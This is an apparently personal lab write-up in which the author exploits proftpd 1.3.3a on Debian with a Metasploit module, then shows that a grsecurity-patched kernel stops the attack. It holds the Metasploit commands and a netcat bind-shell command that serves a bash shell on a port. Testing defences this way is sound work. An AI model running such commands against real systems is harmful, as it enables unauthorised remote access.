grsecurity vs proftpd-exploit

Victim: Debian 6.0 with proftpd 1.3.3a
Attacker: Backtrack 4 rc2 - Metasploit 3.6

use exploit/linux/ftp/proftp_telnet_iac
set TARGET 2
set PAYLOAD ...

The Shell-payloads of metapsloit didnt work but i could execute a command
--> nc -l -p 1234 -e /bin/bash
which listens on port 1234 and gives you a bash shell on connect

system got compromised. so now with grsecurity

i used the tutorial from http://xorl.wordpress.com/2009/02/02/how-to-grsec-debian-262710-grsec/

to patch the latest kernel in this case

Linux debian 2.6.32.28

at compilation i got an error, something with "lguest"

found a workaround (easy) at

http://masetio.web.id/2010/03/compile-kernel-error-lguest-c3718-error-zlib-h-no-such-file-or-directory/

i tried again to exploit proftpd and it didnt work.

pax did alarm me and shutdown proftpd

HERE is the VIDEO

http://www.jimmybandit.com/grsecurity.vs.proftpd.swf